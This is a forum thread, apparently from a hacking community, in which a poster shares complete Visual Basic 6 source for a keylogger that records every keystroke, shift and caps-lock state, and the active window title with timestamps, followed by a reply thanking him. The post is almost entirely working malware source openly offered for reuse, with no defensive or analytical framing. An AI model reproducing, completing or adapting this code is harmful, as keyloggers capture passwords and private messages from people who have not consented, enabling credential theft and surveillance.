[hoxy]

[SRC code] Keylogger base

Ok, well I'm new here, will kindof and i thought it was time that i released something instead of lurking around the place.

This is just a basic keylogger that captures the active window and keys, it functions perfectly (For example "caps lock" and "num lock").

Screenshot of working program:


http://img43.imageshack.us/img43/5918/examplecyk.jpg


Module code:

Code:

Code:

Option Explicit Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Public Declare Function GetForegroundWindow Lib "user32.dll" () As Long Public Const KEYEVENTF_KEYUP = &H2 Public Const VK_SHIFT = &H10 Public caps(0 To 1) As Integer Public shift(0 To 1) As Integer Public window As String Public s1, s2 As Integer Public c1, c2 As IntegerForm Code: Code: Private Sub tmr1_Timer() On Error Resume Next If window <> GetCaption(GetForegroundWindow) Then window = GetCaption(GetForegroundWindow) txt1 = txt1 & vbCrLf & "[ " & Hour(Now) & ":" & Minute(Now) & ":" & Second(Now) & " - " & window & "]" & vbCrLf End If s1 = s1 + 1 If s1 > 1 Then s1 = 0 If (GetAsyncKeyState(VK_SHIFT) And &HF0000000) = &HF0000000 Then shift(s1) = 1 Else shift(s1) = 0 'Check the state of shift, 1 = down, 0 = up If s1 = 1 Then s2 = 0 Else s2 = 1 'Depict the new value of the integer and generate the oposite c1 = c1 + 1 If c1 > 1 Then c1 = 0 If GetKeyState(vbKeyCapital) = 1 Then caps(c1) = 1 Else caps(c1) = 2 'Check the state of caps, 1 = on, 0 = off If c1 = 1 Then c2 = 0 Else c2 = 1 'Depict the new value of the integer and generate the oposite For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then If GetAsyncKeyState(vbKeyLeft) Then txt1 = txt1 & " [LEFT] " If GetAsyncKeyState(vbKeyRight) Then txt1 = txt1 & " [RIGHT] " If GetAsyncKeyState(vbKeyUp) Then txt1 = txt1 & " [UP] " If GetAsyncKeyState(vbKeyDown) Then txt1 = txt1 & " [DOWN] " Select Case i Case 20, 4, 44, 12, 161, 16, 160, 162, 17, 163, 18, 165, 37 To 40, 144 Exit Sub Case 1 If shift(s1) = 1 Then txt1 = txt1 & " [L Drag] " Else txt1 = txt1 & " [L] " Exit Sub Case 2, 93 txt1 = txt1 & " [R] " Exit Sub Case 164 txt1 = txt1 & " [Alt] " Exit Sub Case 8 txt1 = txt1 & " [Backspace] " Exit Sub Case 19 txt1 = txt1 & " [Pause/Break] " Exit Sub Case 9 txt1 = txt1 & " [Tab] " Exit Sub Case 91, 92 txt1 = txt1 & " [Win] " Exit Sub Case 13 txt1 = txt1 & " [Enter] " Exit Sub Case 27 txt1 = txt1 & " [Esc] " Exit Sub Case 33 txt1 = txt1 & " [Page Up] " Exit Sub Case 34 txt1 = txt1 & " [Page Down] " Exit Sub Case 35 txt1 = txt1 & " [End] " Exit Sub Case 36 txt1 = txt1 & " [Home] " Exit Sub Case 45 txt1 = txt1 & " [Insert] " Exit Sub Case 46 txt1 = txt1 & " [Del] " Exit Sub Case 112 txt1 = txt1 & " [F1] " Exit Sub Case 113 txt1 = txt1 & " [F2] " Exit Sub Case 114 txt1 = txt1 & " [F3] " Exit Sub Case 115 txt1 = txt1 & " [F4] " Exit Sub Case 116 txt1 = txt1 & " [F5] " Exit Sub Case 117 txt1 = txt1 & " [F6] " Exit Sub Case 118 txt1 = txt1 & " [F7] " Exit Sub Case 119 txt1 = txt1 & " [F8] " Exit Sub Case 120 txt1 = txt1 & " [F9] " Exit Sub Case 121 txt1 = txt1 & " [F10] " Exit Sub Case 122 txt1 = txt1 & " [F11] " Exit Sub Case 123 txt1 = txt1 & " [F12] " Exit Sub Case 106 txt1 = txt1 & "*" Exit Sub Case 107 txt1 = txt1 & "+" Exit Sub Case 109 txt1 = txt1 & "-" Exit Sub Case 111 txt1 = txt1 & "/" Exit Sub Case 32 txt1 = txt1 & " " Exit Sub Case 223 txt1 = txt1 & "`" Exit Sub Case 219 txt1 = txt1 & "[" Exit Sub Case 221 txt1 = txt1 & "]" Exit Sub Case 186 txt1 = txt1 & ";" Exit Sub Case 192 txt1 = txt1 & "'" Exit Sub Case 222 txt1 = txt1 & "#" Exit Sub Case 191 txt1 = txt1 & "/" Exit Sub Case 188 txt1 = txt1 & "," Exit Sub Case 190, 110 txt1 = txt1 & "." Exit Sub Case 220 txt1 = txt1 & "\" Exit Sub Case 187 txt1 = txt1 & "=" Exit Sub Case 189 txt1 = txt1 & "-" Exit Sub End Select If i >= 96 And i <= 105 Then 'IF NUMBERPAD IS ACTIVE THEN ADD NUMBER PAD NUMBERS txt1 = txt1 + Chr(i - 48) Exit Sub End If If i >= 48 And i <= 57 Then 'IF NUMBERS THEN ADD NUMBERS ELSE ADD LETTERS Dim shifti As String Select Case i Case 49 If shift(c1) = 1 Then shifti = "!" Else shifti = "1" Case 50 If shift(c1) = 1 Then shifti = """" Else shifti = "2" Case 51 If shift(c1) = 1 Then shifti = "£" Else shifti = "3" Case 52 If shift(c1) = 1 Then shifti = "$" Else shifti = "4" Case 53 If shift(c1) = 1 Then shifti = "%" Else shifti = "5" Case 54 If shift(c1) = 1 Then shifti = "^" Else shifti = "6" Case 55 If shift(c1) = 1 Then shifti = "&" Else shifti = "7" Case 56 If shift(c1) = 1 Then shifti = "*" Else shifti = "8" Case 57 If shift(c1) = 1 Then shifti = "(" Else shifti = "9" Case 48 If shift(c1) = 1 Then shifti = ")" Else shifti = "0" End Select txt1 = txt1 + shifti Else If caps(c1) = 1 Or shift(c1) = 1 Then txt1 = txt1 + Chr(i) Else txt1 = txt1 + Chr(i + 32) End If End If Next i End Sub Function GetCaption(WindowHandle As Long) As String On Error Resume Next Dim buffer As String, TextLength As Long TextLength& = GetWindowTextLength(WindowHandle&) buffer$ = String(TextLength&, 0&) Call GetWindowText(WindowHandle&, buffer$, TextLength& + 1) GetCaption$ = buffer$ End Function

Please give credit if used.

[1llusion]

Nice code!!! Thanks for the share!!!

[edited formating btw]